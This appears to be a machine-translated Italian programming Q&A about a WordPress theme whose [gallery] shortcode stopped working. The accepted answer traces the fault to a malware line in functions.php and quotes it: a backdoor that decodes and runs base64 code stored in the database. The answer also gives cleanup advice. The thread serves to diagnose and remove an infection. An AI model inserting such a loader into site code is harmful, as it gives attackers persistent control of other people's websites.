2015-07-07 16 views
10

Tutto andava bene, fino agli aggiornamenti recenti. [gallery] non mostra più immagini e sembra che non sia contenuto nel codice.Wordpress predefinito [galleria] non visualizzato in tema personalizzato

Ecco il ciclo per la pagina:

<?php 
    // Start the loop. 
    while (have_posts()) : the_post();?> 
     <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article"> 
      <h1 class="entry-title"><?php the_title(); ?></h1> 
       <div class="entry-content"> 
        <?php the_content(); ?> 
       </div><!-- .entry-content --> 
     </article><!-- #post-<?php the_ID(); ?> --> 
<?php 
    // End the loop. 
    endwhile; 
?> 

contenuti di testo da the_content sta rivelando, ma [gallery], che è nel contenuto, non mostra né rendere in codice (in modo problema non dovrebbe essere in javascript).

E qui è il file functions.php: http://pastebin.com/vfJpphgt (supporto di tema sì, ho aggiunto per la galleria, ma nessun cambiamento)

+0

E 'possibile rimuovere il filtro dei contenuti perché il cortocircuito è inattivo? Riga 45 in functions.php –

+0

Anche se si aggiunge Dopo "the_content" funziona? –

+0

@ScottAnderson 1.) filtro contenuto -> nessun cambiamento 2.) do_shortcode non funziona, nessun output della galleria nella pagina. Altri shortcode come il modulo di contatto ecc funzionano bene, quindi non penso che sia un problema di shortcode in genere –

risposta

1

Non Sei sito ha violato.

L'ultima riga del pastebin sta caricando codice dannoso dal database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

L'esecuzione di codice volontà rovinare il WPQuery per recuperare i file multimediali Galleria. Ecco perché lo [gallery] è rotto. (In realtà si può essere fortunati per quella parte.)

È possibile trovare una voce su questo malware a sucuri.net. Dovresti controllare tutti i tuoi file sul server per la linea sospetta. Sebbene il percorso di attacco più probabile sia rappresentato da una vulnerabilità di WordPress, è necessario modificare tutte le password in WordPress e sul server.

DOPO aver rimosso il malware, è possibile pulire il tuo WordPress con strumenti come Wordfence (non ho alcuna affiliazione al plugin o ai suoi autori).

+0

Signore, sei un vero maestro! Esso funziona magicamente! Grazie tante! –

+0

Una correzione per la vulnerabilità WP utilizzata con maggiore probabilità per ottenere il codice dannoso è stata [rilasciata oggi] (https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-manutenzione- pubblicazione/). – mrgrain

-1

ti vedi eventuali errori javascript in console? e ciò che è uscita di

<?php echo do_shortcode('[gallery]');?> 
+3

sembra meglio un commento piuttosto che una risposta – SaganTheBest

+0

poiché ho una reputazione inferiore a 50 non sono in grado di commentare direttamente sulla domanda. – atinder

1

tenta di installare il plugin NextGEN Gallery, aggiungere le immagini della galleria, e cercare di visualizzare in home page,

https://wordpress.org/plugins/nextgen-gallery/ 
+0

Grazie per la tua risposta, sfortunatamente, devo correggere lo shortcode della galleria di base, non aggiungere un altro plug-in per la galleria. –